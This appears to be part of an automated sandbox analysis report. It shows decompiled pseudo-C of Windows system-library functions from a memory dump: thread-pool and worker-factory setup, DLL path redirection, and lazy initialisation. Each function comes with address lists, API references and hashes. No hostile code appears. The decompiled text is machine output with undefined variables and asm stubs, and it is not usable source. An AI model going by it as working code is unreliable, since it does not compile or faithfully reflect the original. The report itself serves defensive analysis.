			E6B5737EB(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t98;
				intOrPtr _t102;
				char* _t113;
				signed short _t123;
				signed int _t124;
				signed int _t129;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t139;
				intOrPtr* _t141;
				long _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t157;
				signed int _t160;
				signed short _t163;
				signed short _t164;
				signed int _t173;
				intOrPtr* _t176;
				short _t178;
				intOrPtr _t179;
				intOrPtr* _t181;
				intOrPtr _t182;
				void* _t183;

				_push(0x50);
				_push(0x6b61ff48);
				E6B59D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t183 - 0x44)) = __ecx;
				 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000001;
				 *((intOrPtr*)(_t183 - 0x24)) = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				 *(_t183 - 0x2c) = __edx & 0x00000001;
				_t98 =  *[fs:0x30];
				RtlImageNtHeader( *(_t98 + 8));
				if(_t98 == 0) {
					_t178 = 0xc000007b;
					L28:
					return E6B59D0D1(_t178);
				}
				 *((intOrPtr*)(_t183 - 0x38)) =  *((intOrPtr*)(_t98 + 0x60));
				_t179 =  *((intOrPtr*)(_t98 + 0x64));
				 *((intOrPtr*)(_t183 - 0x30)) = _t179;
				_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x208));
				if(_t102 != 0) {
					if(_t179 < _t102) {
						 *((intOrPtr*)(_t183 - 0x30)) = _t102;
					}
				}
				_t181 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6b6384c4 + 0x000c0000 | 0x00000008, 0x120);
				 *((intOrPtr*)(_t183 - 0x20)) = _t181;
				 *((intOrPtr*)(_t183 - 4)) = 0;
				 *((intOrPtr*)(_t183 - 0x40)) = 1;
				if(_t181 == 0) {
					L36:
					_t178 = 0xc0000017;
					 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
					goto L24;
				} else {
					_t152 =  *0x6b6384c4 + 0xc0000;
					 *(_t183 - 0x48) = _t152;
					_t153 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t152,  *0x6b6384c0 * 0x24);
					 *((intOrPtr*)(_t183 - 0x24)) = _t153;
					if(_t153 == 0) {
						_t178 = 0xc0000017;
						 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
						_t181 =  *((intOrPtr*)(_t183 - 0x20));
						L24:
						 *((intOrPtr*)(_t183 - 4)) = 0xfffffffe;
						 *((intOrPtr*)(_t183 - 0x40)) = 0;
						E6B573B5A(_t107, 0, _t178, _t181);
						if(_t178 < 0) {
							goto L28;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t183 - 0x44)))) = _t181;
						if(E6B567D50() != 0) {
							_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							_t178 =  *((intOrPtr*)(_t183 - 0x1c));
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
						} else {
							_t113 = 0x7ffe0386;
						}
						if( *_t113 != 0) {
							L32:
							E6B618BB6(_t181);
						}
						goto L28;
					}
					_t154 = 0;
					 *(_t183 - 0x28) = 0;
					_t182 =  *((intOrPtr*)(_t183 - 0x20));
					_t173 =  *0x6b6384c0;
					while(_t154 < 3) {
						 *((intOrPtr*)(_t182 + 0x10 + _t154 * 4)) = _t173 * _t154 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						_t154 = _t154 + 1;
						 *(_t183 - 0x28) = _t154;
					}
					_t155 = 0;
					while(1) {
						 *(_t183 - 0x28) = _t155;
						if(_t155 >= _t173 * 3) {
							break;
						}
						_t141 = _t155 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						 *((intOrPtr*)(_t141 + 8)) = 0;
						 *((intOrPtr*)(_t141 + 4)) = _t141;
						 *_t141 = _t141;
						_t155 = _t155 + 1;
					}
					_t157 =  *0x6b6384c4 + 0xc0000;
					 *(_t183 - 0x4c) = _t157;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t157 | 0x00000008, _t173 << 2);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x1c) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t160 =  *0x6b6384c4 + 0xc0000;
					 *(_t183 - 0x50) = _t160;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t160 | 0x00000008,  *0x6b6384c0 * 0xc);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x20) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t123 =  *0x7ffe03c0;
					 *(_t183 - 0x34) = _t123;
					 *(_t183 - 0x54) = _t123;
					 *(_t181 + 0x100) = _t123;
					_t178 = E6B573B7A(_t181);
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					}
					 *((intOrPtr*)(_t181 + 0x104)) = 0xfffffffe;
					 *(_t183 - 0x60) = 0;
					 *((intOrPtr*)(_t183 - 0x5c)) = 0;
					_t163 =  *(_t183 - 0x34);
					_t124 = _t163 & 0x0000ffff;
					 *(_t183 - 0x60) = _t124;
					 *(_t181 + 8) = _t124;
					 *((intOrPtr*)(_t181 + 0xc)) = 0;
					 *_t181 = 1;
					if(_t163 < 4) {
						_t164 = 4;
					} else {
						_t164 = _t163 + 1;
					}
					 *(_t183 - 0x34) = _t164;
					_t49 = _t181 + 0x28; // 0x28
					_push(_t164);
					_push(0);
					_push(0x1f0003);
					_t178 = E6B589F70();
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					} else {
						 *((intOrPtr*)(_t183 - 4)) = 1;
						 *((intOrPtr*)(_t183 - 0x3c)) = 1;
						_t129 =  *0x7ffe03c0 << 2;
						if(_t129 < 0x200) {
							_t129 = 0x200;
						}
						_t53 = _t181 + 0x24; // 0x24
						_push( *((intOrPtr*)(_t183 - 0x30)));
						_push( *((intOrPtr*)(_t183 - 0x38)));
						_push(_t129);
						_push(_t181);
						_push(0x6b56c740);
						_push(0xffffffff);
						_push( *((intOrPtr*)(_t181 + 0x28)));
						_push(0);
						_push(0xf00ff);
						_t178 = E6B58A160();
						 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
						if(_t178 < 0) {
							L23:
							 *((intOrPtr*)(_t183 - 4)) = 0;
							 *((intOrPtr*)(_t183 - 0x3c)) = 0;
							_t107 = E6B573B48(_t130, 0, _t178, _t181);
							goto L24;
						} else {
							if( *(_t183 - 0x2c) != 0) {
								_push(4);
								_push(_t183 - 0x2c);
								_push(0xd);
								_push( *((intOrPtr*)(_t181 + 0x24)));
								_t178 = E6B58AE70();
								 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
								if(_t178 < 0) {
									goto L23;
								}
								 *((short*)(_t181 + 0xe6)) =  *(_t183 - 0x2c);
							}
							 *((intOrPtr*)(_t181 + 0x2c)) = 0;
							 *((intOrPtr*)(_t181 + 0xe0)) = 0;
							 *((intOrPtr*)(_t181 + 0x110)) = 0;
							 *((short*)(_t181 + 0xe4)) = 0;
							_t63 = _t181 + 0x30; // 0x30
							_t133 = _t63;
							 *((intOrPtr*)(_t133 + 4)) = _t133;
							 *_t133 = _t133;
							_t65 = _t181 + 0x38; // 0x38
							_t134 = _t65;
							 *((intOrPtr*)(_t134 + 4)) = _t134;
							 *_t134 = _t134;
							_t67 = _t181 + 0x114; // 0x114
							_t135 = _t67;
							 *((intOrPtr*)(_t135 + 4)) = _t135;
							 *_t135 = _t135;
							E6B56F194(_t181, _t183 - 0x58, 0);
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
							 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(_t183 + 4));
							_t73 = _t181 + 0x40; // 0x40
							_t178 = E6B57196E(_t73, _t181);
							 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
							if(_t178 < 0) {
								goto L23;
							}
							_t178 = 0;
							 *((intOrPtr*)(_t183 - 0x1c)) = 0;
							E6B562280(_t130, 0x6b6386b4);
							 *((intOrPtr*)(_t183 - 4)) = 2;
							_t77 = _t181 + 0xe8; // 0xe8
							_t139 = _t77;
							_t176 =  *0x6b6353dc; // 0x6b6353d8
							if( *_t176 != 0x6b6353d8) {
								_push(3);
								asm("int 0x29");
								goto L32;
							}
							 *_t139 = 0x6b6353d8;
							 *((intOrPtr*)(_t139 + 4)) = _t176;
							 *_t176 = _t139;
							 *0x6b6353dc = _t139;
							 *((intOrPtr*)(_t183 - 4)) = 1;
							_t130 = E6B573B3D();
							goto L23;
						}
					}
				}
			}

0x6b5737eb
0x6b5737ed
0x6b5737f2
0x6b5737f7
0x6b5737fa
0x6b573803
0x6b573806
0x6b57380b
0x6b57380e
0x6b573817
0x6b57381e
0x6b5b615c
0x6b573b0c
0x6b573b13
0x6b573b13
0x6b573827
0x6b57382a
0x6b57382d
0x6b573836
0x6b57383e
0x6b5b6168
0x6b5b616e
0x6b5b616e
0x6b5b6168
0x6b573865
0x6b573867
0x6b57386a
0x6b57386d
0x6b573876
0x6b5b6176
0x6b5b6176
0x6b5b617b
0x00000000
0x6b57387c
0x6b573882
0x6b573888
0x6b5738a2
0x6b5738a4
0x6b5738a9
0x6b5b6183
0x6b5b6188
0x6b5b618b
0x6b573ad9
0x6b573ad9
0x6b573ae0
0x6b573ae7
0x6b573aee
0x00000000
0x00000000
0x6b573af3
0x6b573afc
0x6b5b6288
0x6b5b628d
0x6b5b6290
0x6b573b02
0x6b573b02
0x6b573b02
0x6b573b0a
0x6b573b71
0x6b573b73
0x6b573b73
0x00000000
0x6b573b0a
0x6b5738af
0x6b5738b1
0x6b5738b4
0x6b5738b7
0x6b5738bd
0x6b5738cd
0x6b5738d1
0x6b5738d2
0x6b5738d2
0x6b5738d7
0x6b5738d9
0x6b5738d9
0x6b5738e1
0x00000000
0x00000000
0x6b5738e6
0x6b5738e9
0x6b5738ec
0x6b5738ef
0x6b5738f1
0x6b5738f1
0x6b5738fa
0x6b573900
0x6b573916
0x6b57391b
0x6b57391e
0x6b573923
0x00000000
0x00000000
0x6b57392f
0x6b573935
0x6b57394d
0x6b573952
0x6b573955
0x6b57395a
0x00000000
0x00000000
0x6b573960
0x6b573965
0x6b573968
0x6b57396b
0x6b573978
0x6b57397a
0x6b57397f
0x00000000
0x00000000
0x6b573985
0x6b57398f
0x6b573992
0x6b573995
0x6b573998
0x6b57399b
0x6b57399e
0x6b5739a1
0x6b5739a4
0x6b5739ad
0x6b5b6195
0x6b5739b3
0x6b5739b3
0x6b5739b3
0x6b5739b4
0x6b5739b7
0x6b5739ba
0x6b5739bb
0x6b5739bc
0x6b5739c7
0x6b5739c9
0x6b5739ce
0x00000000
0x6b5739d4
0x6b5739d7
0x6b5739da
0x6b5739e2
0x6b5739ec
0x6b5739ee
0x6b5739ee
0x6b5739f0
0x6b5739f3
0x6b5739f6
0x6b5739f9
0x6b5739fa
0x6b5739fb
0x6b573a00
0x6b573a02
0x6b573a05
0x6b573a06
0x6b573a11
0x6b573a13
0x6b573a18
0x6b573aca
0x6b573aca
0x6b573acd
0x6b573ad4
0x00000000
0x6b573a1e
0x6b573a22
0x6b573b14
0x6b573b19
0x6b573b1a
0x6b573b1c
0x6b573b24
0x6b573b26
0x6b573b2b
0x00000000
0x00000000
0x6b573b31
0x6b573b31
0x6b573a28
0x6b573a2b
0x6b573a31
0x6b573a37
0x6b573a3e
0x6b573a3e
0x6b573a41
0x6b573a44
0x6b573a46
0x6b573a46
0x6b573a49
0x6b573a4c
0x6b573a4e
0x6b573a4e
0x6b573a54
0x6b573a57
0x6b573a5f
0x6b573a67
0x6b573a6a
0x6b573a70
0x6b573a7a
0x6b573a7c
0x6b573a81
0x00000000
0x00000000
0x6b573a83
0x6b573a85
0x6b573a8d
0x6b573a92
0x6b573a99
0x6b573a99
0x6b573a9f
0x6b573aac
0x6b573b6c
0x6b573b6f
0x00000000
0x6b573b6f
0x6b573ab2
0x6b573ab4
0x6b573ab7
0x6b573ab9
0x6b573abe
0x6b573ac5
0x00000000
0x6b573ac5
0x6b573a18
0x6b5739ce

APIs

RtlImageNtHeader.1105(?,6B61FF48,00000050,6B573E98,?,6B56F900,00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B573817

Part of subcall function 6B55B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6B57381C,?,6B61FF48,00000050,6B573E98,?,6B56F900,00000000,00000000), ref: 6B55B076

RtlAllocateHeap.1105(?,?,00000120,?,6B61FF48,00000050,6B573E98,?,6B56F900,00000000,00000000,?,?,?,6B61FEB8,0000001C), ref: 6B573860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6B61FF48,00000050,6B573E98,?,6B56F900,00000000,00000000), ref: 6B57389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6B61FF48,00000050,6B573E98,?,6B56F900,00000000), ref: 6B573916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6B61FF48,00000050,6B573E98), ref: 6B57394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6B5739C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6B56C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6B573A0C
RtlAcquireSRWLockExclusive.1105(6B6386B4,00000000,00000024,000F00FF,00000000,?,000000FF,6B56C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6B573A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6B61FF48,00000050,6B573E98), ref: 6B573AF5
ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6B56C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6B573B1F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: fcdb1e0ba5c4ef605e2821c9eee1f8ed7280fe5f18455de9b9b61ea09565fc66
Instruction ID: e981944362831fb0f4a231e5ff71cb00e7b2d55ca951e239805faa3d46fcb40f
Opcode Fuzzy Hash: fcdb1e0ba5c4ef605e2821c9eee1f8ed7280fe5f18455de9b9b61ea09565fc66
Instruction Fuzzy Hash: AEB168B1E006049FEB25DFA9C950ADEBBF4FB89714F10446ED51AAB360E7389902CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5CAE60, Relevance: 15.2, APIs: 5, Strings: 5, Instructions: 247
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6B5CAE60(signed short* _a4, short* _a8, short* _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				signed int _v24;
				unsigned int _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				signed int _v44;
				signed short* _t85;
				unsigned int _t86;
				signed short _t100;
				short* _t109;
				short _t111;
				signed int _t113;
				void* _t130;
				signed short _t132;
				signed int _t133;
				signed short _t135;
				short* _t144;
				signed int _t148;
				signed int _t150;
				int _t151;
				void* _t153;
				void* _t154;
				signed short _t155;
				signed int _t156;
				short* _t159;
				short* _t160;
				signed short* _t161;
				unsigned int _t167;
				signed int _t169;
				unsigned int _t170;
				void* _t172;
				signed short _t176;
				void* _t177;
				int _t178;
				int _t180;
				void* _t183;
				void* _t184;
				signed int _t186;
				void* _t187;
				void* _t188;

				_t85 = _a4;
				_t150 = 0;
				_v40 = 0;
				_t176 =  *_t85 & 0x0000ffff;
				_t155 = _t85[2];
				_t86 = _t176 & 0x0000ffff;
				_v16 = _t155;
				_v24 = 0;
				_v20 = _t176;
				_v12 = 0x5c;
				_v28 = 0x2f;
				_t170 = _t86;
				if(_t86 == 0) {
					L11:
					_v20 = 0;
					asm("sbb eax, eax");
					_v36 = ( ~_t150 & 0xfffffff8) + 8;
					_v8 = _t170 - (_v16 - _t155 & 0xfffffffe);
					_t172 =  *0x6b636e54;
					_v44 = 0;
					if(_t172 != 0) {
						_t156 =  *0x6b636e50 & 0x0000ffff;
						_t151 = 0;
						_v20 = _v12;
						if(_t156 == 0) {
							L32:
							_t167 = _v8;
							L33:
							_t100 = _v36 + 0xe + _t151 + _v20 + _t167 + 2;
							_v32 = _t100;
							if(_t100 > 0xfffe) {
								L22:
								return 0xc0000106;
							}
							_t177 = E6B563A1C(_t100 & 0x0000ffff);
							_v36 = _t177;
							if(_t177 != 0) {
								memcpy(_t177, _t172, _t151);
								_t188 = _t187 + 0xc;
								_t153 = _t177 + (_t151 >> 1) * 2;
								_t178 = _v20;
								if(_t178 != 0) {
									memcpy(_t153, L"\\microsoft.system.package.metadata\\Application", _t178);
									_t188 = _t188 + 0xc;
									_t153 = _t153 + (_t178 >> 1) * 2;
								}
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t180 = _v8;
								 *((short*)(_t153 + 0xc)) = _v12;
								_t154 = _t153 + 0xe;
								memcpy(_t154, _v16, _t180);
								_t109 = _t154 + (_t180 >> 1) * 2;
								if(_v24 != 0) {
									 *_t109 = 0;
								} else {
									asm("movsd");
									asm("movsd");
									asm("movsw");
								}
								_t159 = _a8;
								 *((intOrPtr*)(_t159 + 4)) = _v40;
								_t111 = _v44;
								 *((short*)(_t159 + 2)) = _t111;
								 *_t159 = _t111;
								if(_t111 != 0) {
									 *_t159 = _t111 + 0xfffffffe;
								}
								_t160 = _a12;
								_t82 =  &_v32; // 0x6b5d4109
								 *((intOrPtr*)(_t160 + 4)) = _v36;
								_t113 =  *_t82 & 0x0000ffff;
								 *(_t160 + 2) = _t113;
								 *_t160 = _t113 + 0xfffffffe;
								return 0;
							}
							L35:
							return 0xc0000017;
						}
						while( *((short*)(_t172 + (_t151 >> 1) * 2)) != 0x3b) {
							_t151 = _t151 + 2;
							if(_t151 < _t156) {
								continue;
							}
							goto L32;
						}
						goto L32;
					}
					_t151 =  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff;
					_t172 =  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c);
					_v32 = _t172;
					if(( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00000001) == 0) {
						_t172 = _t172 +  *((intOrPtr*)( *[fs:0x30] + 0x10));
						_v32 = _t172;
					}
					_t161 = _t172 + ((_t151 >> 1) - 1) * 2;
					_t130 = _t172;
					while(_t161 > _t172) {
						_t169 =  *_t161 & 0x0000ffff;
						if(_t169 == _v12 || _t169 == _v28) {
							_t130 =  &(_t161[1]);
							L21:
							_t132 = _t130 - _t172 & 0xfffffffe;
							if(_t132 <= 0xfffe) {
								_t133 = _t132 & 0x0000ffff;
								_v28 = _t133;
								if(_t176 > 0xfffc) {
									goto L22;
								}
								_t135 = _v36 + _t133 + _v8 + 2;
								if(_t135 > 0xfffe) {
									goto L22;
								}
								_v44 = _t135 & 0x0000ffff;
								_t183 = E6B563A1C(_t135 & 0x0000ffff);
								_v40 = _t183;
								if(_t183 == 0) {
									goto L35;
								}
								memcpy(_t183, _t172, _v28);
								_t184 = _t183 + (_v28 >> 1) * 2;
								memcpy(_t184, _v16, _v8);
								_t167 = _v8;
								_t187 = _t187 + 0x18;
								_t144 = _t184 + (_t167 >> 1) * 2;
								if(_v24 != 0) {
									 *_t144 = 0;
								} else {
									asm("movsd");
									asm("movsd");
									asm("movsw");
									_t52 =  &_v32; // 0x6b5d4109
									_t172 =  *_t52;
								}
								goto L33;
							}
							goto L22;
						} else {
							_t161 = _t161 - 2;
							continue;
						}
					}
					goto L21;
				}
				_t148 = _t155 + ((_t86 >> 1) - 1) * 2;
				if(_t148 <= _t155) {
					goto L11;
				} else {
					goto L2;
				}
				do {
					L2:
					_t186 =  *_t148 & 0x0000ffff;
					if(_t186 != 0x2e) {
						if(_t186 == _v12 || _t186 == _v28) {
							_v16 = _t148 + 2;
							L10:
							_t176 = _v20;
							goto L11;
						} else {
							goto L7;
						}
					} else {
						if(_t150 == 0) {
							_t150 = _t148;
							_v24 = _t150;
						}
					}
					L7:
					_t148 = _t148 - 2;
				} while (_t148 > _t155);
				goto L10;
			}

0x6b5cae68
0x6b5cae6f
0x6b5cae71
0x6b5cae74
0x6b5cae77
0x6b5cae7a
0x6b5cae7d
0x6b5cae80
0x6b5cae83
0x6b5cae86
0x6b5cae8d
0x6b5cae95
0x6b5cae9a
0x6b5caed7
0x6b5caed9
0x6b5caede
0x6b5caee6
0x6b5caef5
0x6b5caef8
0x6b5caefe
0x6b5caf03
0x6b5cb000
0x6b5cb007
0x6b5cb00c
0x6b5cb011
0x6b5cb025
0x6b5cb025
0x6b5cb028
0x6b5cb036
0x6b5cb038
0x6b5cb040
0x6b5caf73
0x00000000
0x6b5caf73
0x6b5cb04f
0x6b5cb051
0x6b5cb056
0x6b5cb065
0x6b5cb06c
0x6b5cb06f
0x6b5cb072
0x6b5cb077
0x6b5cb080
0x6b5cb085
0x6b5cb08a
0x6b5cb08a
0x6b5cb097
0x6b5cb098
0x6b5cb099
0x6b5cb09a
0x6b5cb0a1
0x6b5cb0a5
0x6b5cb0a9
0x6b5cb0b9
0x6b5cb0bc
0x6b5cb0cd
0x6b5cb0be
0x6b5cb0c5
0x6b5cb0c6
0x6b5cb0c7
0x6b5cb0c7
0x6b5cb0d0
0x6b5cb0d6
0x6b5cb0d9
0x6b5cb0dc
0x6b5cb0e0
0x6b5cb0e5
0x6b5cb0ea
0x6b5cb0ea
0x6b5cb0ed
0x6b5cb0f3
0x6b5cb0f6
0x6b5cb0f9
0x6b5cb0fc
0x6b5cb103
0x00000000
0x6b5cb106
0x6b5cb058
0x00000000
0x6b5cb058
0x6b5cb013
0x6b5cb01e
0x6b5cb023
0x00000000
0x00000000
0x00000000
0x6b5cb023
0x00000000
0x6b5cb013
0x6b5caf12
0x6b5caf1f
0x6b5caf28
0x6b5caf32
0x6b5caf3a
0x6b5caf3d
0x6b5caf3d
0x6b5caf45
0x6b5caf48
0x6b5caf5e
0x6b5caf4c
0x6b5caf53
0x6b5caf64
0x6b5caf67
0x6b5caf69
0x6b5caf71
0x6b5caf82
0x6b5caf85
0x6b5caf8b
0x00000000
0x00000000
0x6b5caf96
0x6b5caf9d
0x00000000
0x00000000
0x6b5cafa3
0x6b5cafab
0x6b5cafad
0x6b5cafb2
0x00000000
0x00000000
0x6b5cafbd
0x6b5cafcd
0x6b5cafd1
0x6b5cafd6
0x6b5cafd9
0x6b5cafe4
0x6b5cafe7
0x6b5caffb
0x6b5cafe9
0x6b5caff0
0x6b5caff1
0x6b5caff2
0x6b5caff4
0x6b5caff4
0x6b5caff4
0x00000000
0x6b5cafe7
0x00000000
0x6b5caf5b
0x6b5caf5b
0x00000000
0x6b5caf5b
0x6b5caf53
0x00000000
0x6b5caf62
0x6b5cae9f
0x6b5caea4
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5caea6
0x6b5caea6
0x6b5caea6
0x6b5caeac
0x6b5caebd
0x6b5caed1
0x6b5caed4
0x6b5caed4
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5caeae
0x6b5caeb0
0x6b5caeb2
0x6b5caeb4
0x6b5caeb4
0x6b5caeb0
0x6b5caec5
0x6b5caec5
0x6b5caec8
0x00000000

APIs

memcpy.1105(00000000,?,0000002F,?,?,00000000,?,?,?,?,6B5D4109), ref: 6B5CAFBD
memcpy.1105(00000000,00000000,?,00000000,?,0000002F,?,?,00000000,?,?,?,?,6B5D4109), ref: 6B5CAFD1
memcpy.1105(00000000,?,00000000,?,?,00000000,?,?,?,?,6B5D4109), ref: 6B5CB065
memcpy.1105(00000000,\microsoft.system.package.metadata\Application,?,?,00000000,?,?,?,?,6B5D4109), ref: 6B5CB080
memcpy.1105(-0000000E,00000000,?,?,00000000,?,?,?,?,6B5D4109), ref: 6B5CB0A9

Strings

\microsoft.system.package.metadata\Application, xrefs: 6B5CB07A
\, xrefs: 6B5CAE86
.DLL, xrefs: 6B5CAFE9, 6B5CB0BE
A]k/, xrefs: 6B5CB0F3, 6B5CAFF4
.Local, xrefs: 6B5CB092

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: A]k/$.DLL$.Local$\$\microsoft.system.package.metadata\Application
API String ID: 3510742995-855969323
Opcode ID: 163af4ee1d8bb14cf716fe9a7874bc6248f28439a4fd504a123d33bf93b67756
Instruction ID: e8481b3ce26f209ac5136a11203148d650eb8e3a998d348fe85d9c7d4feacb44
Opcode Fuzzy Hash: 163af4ee1d8bb14cf716fe9a7874bc6248f28439a4fd504a123d33bf93b67756
Instruction Fuzzy Hash: 5A91CF76D006698BEB11CFA8C881AEFBBB2EF49710F1445A9E810E7354E739D901CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B56F86D, Relevance: 15.1, APIs: 10, Instructions: 124
threadmemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6B56F86D(void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t31;
				signed int _t40;
				signed int _t45;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t53;
				intOrPtr _t60;
				signed int* _t66;
				signed int _t67;
				signed int* _t70;
				void* _t71;

				_t64 = __edx;
				_t61 = __ecx;
				_push(0x1c);
				_push(0x6b61feb8);
				E6B59D08C(__ebx, __edi, __esi);
				_t60 = __edx;
				 *((intOrPtr*)(_t71 - 0x28)) = __edx;
				_t70 = __ecx;
				 *((intOrPtr*)(_t71 - 0x2c)) = __ecx;
				_t66 =  *(_t71 + 8);
				if(_t66 == 0 || __ecx == 0 || __edx == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E6B6188F5(_t60, _t61, _t64, _t66, _t70, __eflags);
					_t31 = 0xc000000d;
					goto L9;
				} else {
					if( *__ecx == 0) {
						L10:
						 *(_t71 - 0x20) =  *(_t71 - 0x20) & 0x00000000;
						_t67 = E6B573E70(_t71 - 0x20, 0);
						 *(_t71 - 0x24) = _t67;
						__eflags = _t67;
						if(_t67 < 0) {
							L24:
							_t31 = _t67;
							L9:
							return E6B59D0D1(_t31);
						}
						E6B562280(_t36, _t60);
						 *(_t71 - 4) = 1;
						__eflags =  *_t70;
						if( *_t70 != 0) {
							asm("lock inc dword [eax]");
							L21:
							 *(_t71 - 4) = 0xfffffffe;
							E6B56F9DD(_t60);
							_t40 =  *(_t71 - 0x20);
							__eflags = _t40;
							if(__eflags != 0) {
								_push(_t40);
								E6B549100(_t60, _t61, _t67, _t70, __eflags);
							}
							__eflags = _t67;
							if(_t67 >= 0) {
								 *( *(_t71 + 8)) =  *_t70;
							}
							goto L24;
						}
						__eflags = _t70 - 0x6b6386c0;
						if(_t70 != 0x6b6386c0) {
							__eflags = _t70 - 0x6b6386b8;
							if(_t70 != 0x6b6386b8) {
								L20:
								 *_t70 =  *(_t71 - 0x20);
								_t20 = _t71 - 0x20;
								 *_t20 =  *(_t71 - 0x20) & 0x00000000;
								__eflags =  *_t20;
								goto L21;
							}
							E6B575AA0(_t61,  *(_t71 - 0x20), 1);
							_t45 = E6B5495F0( *(_t71 - 0x20), 1);
							L27:
							_t67 = _t45;
							__eflags = _t67;
							 *(_t71 - 0x24) = _t67;
							if(_t67 >= 0) {
								goto L20;
							}
							goto L21;
						}
						_t46 =  *0x6b638754;
						__eflags = _t46;
						if(_t46 != 0) {
							E6B575AA0(_t61,  *(_t71 - 0x20), _t46);
						} else {
							_t50 =  *0x7ffe03c0 << 3;
							__eflags = _t50 - 0x300;
							if(_t50 < 0x300) {
								_t50 = 0x300;
							}
							E6B575AA0(0x300,  *(_t71 - 0x20), _t50);
							_t53 =  *0x7ffe03c0 << 2;
							_t61 = 0x180;
							__eflags = _t53 - 0x180;
							if(_t53 < 0x180) {
								_t53 = 0x180;
							}
							E6B585C70( *(_t71 - 0x20), _t53);
						}
						_t48 =  *0x6b638750;
						__eflags = _t48;
						if(_t48 != 0) {
							_t45 = E6B54B8F0( *(_t71 - 0x20), _t48);
							goto L27;
						} else {
							goto L20;
						}
					}
					 *((char*)(_t71 - 0x19)) = 0;
					E6B56FAD0(__edx);
					 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
					if( *_t70 != 0) {
						asm("lock inc dword [eax]");
						 *_t66 =  *_t70;
						 *((char*)(_t71 - 0x19)) = 1;
					}
					 *(_t71 - 4) = 0xfffffffe;
					E6B56F9D6(_t60);
					if( *((char*)(_t71 - 0x19)) == 0) {
						goto L10;
					} else {
						_t31 = 0;
						goto L9;
					}
				}
			}

0x6b56f86d
0x6b56f86d
0x6b56f86d
0x6b56f86f
